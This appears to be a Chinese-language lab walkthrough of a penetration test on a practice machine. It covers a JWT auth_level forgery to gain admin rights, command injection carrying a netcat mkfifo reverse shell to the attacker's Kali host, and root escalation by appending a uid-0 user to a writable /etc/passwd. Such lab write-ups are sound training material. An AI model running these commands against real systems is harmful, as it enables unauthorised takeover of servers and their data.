kali IP地址为:192.168.86.128
靶机 IP地址为:192.168.86.131
目录
知识点
- 主机发现
- 端口扫描
- 主机探测
- 目录扫描爆破
- 代码审计
- 垂直越权(JWT越权)
- 反弹shell
- 提升权限
一、信息搜集
1.1 主机发现
1.2 端口扫描
1.3 主机探测
上面可以看出,端口只开放了80端口,网站版本 nginx 1.14.0 (Ubuntu),访问80端口,并且查看版本是否存在可以利用的漏洞
二、漏洞挖掘
2.1 目录扫描
目录扫描出来了俩个文件,分别访问这俩个文件,看是否存在敏感信息,发现没有可以利用的点,
这个时候就直接看js文件吧,一般都会在js页面里面找到突破口
2.2 代码审计
最开始的80页面里面,我们看到有一个注册页面,面上有个注册功能,但是我们点击出现一个通知 ' 遗憾的是,出于安全考虑,我们目前不接受注册。如果需要,请联系a客户支持代表创建一个商业帐户。',如果可以注册的话,我们就直接能登录了
直接代码审计,看js文件,我们直接使用 ' register ' 作为关键字,对4个js文件进行搜索(因为我们的目的是注册),发现只有main开头的js文件中包含register关键词,对该js文件进行研究,可发现现以下有用信息,如图所示,
可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册,我们使用 post提交新账户信息来完成注册,但是注意这里有2点要求:
Content-Type 必须要是:application/json
post 数据包内容处,必须要严格按照js代码里的规范
可以看到返回true,注册成功了。使用新创建的(用户名:12345,密码:123456)账号进行登录,登录成功。
进入该账户界面,里面没有可利用的信息,此时我们可以向上提权,将该账户修改为管理员账户
三、漏洞利用
3.1 垂直越权(JWT越权)
退出当前登陆账户,回到注册点,再次登陆,并进行抓包
然后放行,就可以看到服务器返回的数据包
上面可以看到有一个JWT开头的token字段,这个tonken传递了什么内容呢?
JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
JWT的工作流程如下:
用户使用用户名和密码等身份信息向服务器请求登录。
服务器验证身份信息是否正确,如果正确则生成一个包含用户身份信息的 JWT。
服务器将 JWT 返回给用户。
用户在每次请求中将 JWT 放置在请求头或参数中进行传输,以便服务器可以识别并验证用户身份。
服务器接收到请求并从 JWT 中解密出用户信息,并验证 JWT 签名的有效性。
如果 JWT 签名有效,则允许用户访问所请求的资源。如果 JWT 签名无效,则拒绝用户的请求。
所以我们直接JWT解密,解密网址:https://jwt.io
我们把那个tonken后面的编码复制进去查询一下看看,出现如下图所示的结果:
在payload中我们看到一个可疑的参数:' auth_level ',通过名字就应该知道是判断用户权限的,我们使用这个参数去刚刚几个js文件里搜索看看,只有main开头的js文件中包含auth_level关键词,如图:
根据代码我们可以推断出,下一步我们只需要把 ' standard_user ' 替换成 ' master_admin_user ' 就行,如图:
接下来复制修改后的新编码,替换原来的编码,注:后面明文处也要修改成“master_admin_user”,如图:
改完之后,放包,我们已经成功变成了 admin 账户
3.2 反弹shell
变成admin账号之后,点击admin,输入用户名密码,抓包,观察
密码错误,页面还是返回200,接下来直接在修改密码处执行漏洞拿反弹shell
反弹shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.128 1234 >/tmp/f
成功拿到shell
3.3 权限提升
拿到shell之后,先将简单的Shell转换成为完全交互式的TTY
python -c 'import pty;pty.spawn("/bin/bash")'
查看用户
发现只有root用户有root权限,那新建一个具有root权限的用户,并追加到passwd文件中。
输入命令:perl -le ‘print crypt(“admin”, “aa”)’
/perl需要一个加密盐对密码admin进行加密,其中,admin为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
将新用户写入passwd文件,我们只需要写3处:一个是名字(sxy)、一个是刚刚编译出来的密文、一个是跟名字一样。此处的 0:0 切记不可修改
echo 'sxy:aaLR8vE.jjhss:0:0:sxy:/root:/bin/bash' >> passwd
再次查看passwd文件,新用户添加成功。
一切完成之后,直接切换用户,su sxy 密码为刚刚设置的:admin。成功拿到root权限。如图:
之后就可以留后门,清理痕迹,跑路。。。
四、总结
1、不管是平时的渗透测试工作还是我们靶机练习,我们都不应该去忽略js文件;
2、页面如果有注册但又不能注册时,我们可以使用一个新用户进行登录,然后使用“register”作为关键词在js文件中查找相关源代码,对注册新用户的要求,注册新用户,通过BurpSuite抓包按照代码的要求对其进行改包,使其注册成功;
3、垂直提权,通过修改服务器对普通用户登录的回包(auth_level),将其变成具有管理员权限的用户;
4、获得shell——在Kali上监听端口1234;登录管理员账户,在数据包的密码后面添加一句话木马(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.86.128 1234 >/tmp/f;)获得反弹shell;
5、python -c ‘import pty;pty.spawn(“/bin/bash”) —— 将shell转换为完全交互式的TTY;
6、发现/etc/passwd具有写入权限,新建一个具有root权限的用户,并追加到passwd文件中。然后 su sxy 进行检验。